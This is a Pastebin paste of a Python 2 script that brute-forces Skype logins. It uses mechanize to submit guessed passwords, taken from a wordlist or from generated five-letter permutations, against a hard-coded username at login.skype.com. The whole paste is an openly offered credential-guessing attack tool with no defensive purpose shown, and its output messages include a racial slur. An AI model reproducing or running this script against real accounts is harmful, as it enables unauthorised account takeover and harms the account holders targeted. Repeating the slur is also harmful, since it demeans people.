Advertisement
SaintSec

[Python] Skype Bruteforce

Jul 31st, 2016
1,414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.34 KB | None | 0 0
  1. '''
  2. Replace line 35: YOUR_SKYPE_USERNAME -> Your actualy Skype username.
  3. Replace line 30: itertools.permutations("abc...XYZ",5) with your custom brute-force preferance (see itertools docs).
  4.  
  5. If you execute: python skypeBrute.py, it will try to brute-force using itertools. If you execute: python skypeBrute.py my_wordlist.txt, it will brute-force using the wordlist provided.
  6. '''
  7.  
  8. #!/usr/bin/python
  9. import mechanize
  10. import itertools
  11. import sys
  12. import os
  13.  
  14. print "\033[1;32;48m Saint's Skype Login Brute-forcer!"
  15. print ""
  16.  
  17. br = mechanize.Browser()
  18. br.set_handle_equiv(True)
  19. br.set_handle_redirect(True)
  20. br.set_handle_referer(True)
  21. br.set_handle_robots(False)
  22.  
  23. if len(sys.argv) > 1:
  24.     if os.path.exists(sys.argv[1]):
  25.         combos = [line.strip() for line in open(sys.argv[1])]
  26.     else:
  27.         print "[-] were is your fucking wordlist?"
  28.         sys.exit()
  29. else:
  30.     combos = itertools.permutations("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",5)
  31.  
  32. r = br.open("https://login.skype.com/login")
  33.  
  34. for x in combos:
  35.     br.select_form(nr = 0)
  36.     br.form['username'] = "redtigermodding"
  37.     br.form['password'] = ''.join(x)
  38.     print "\033[1;33;48mChecking:"+"\033[1;34;48m",br.form['password']
  39.     response = br.submit()
  40.     if response.geturl()!="https://login.skype.com/login":
  41.         print ""
  42.         print "\033[1;32;48mFound That Pass Nigga:"+"\033[1;36;48m",''.join(x)
  43.         break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement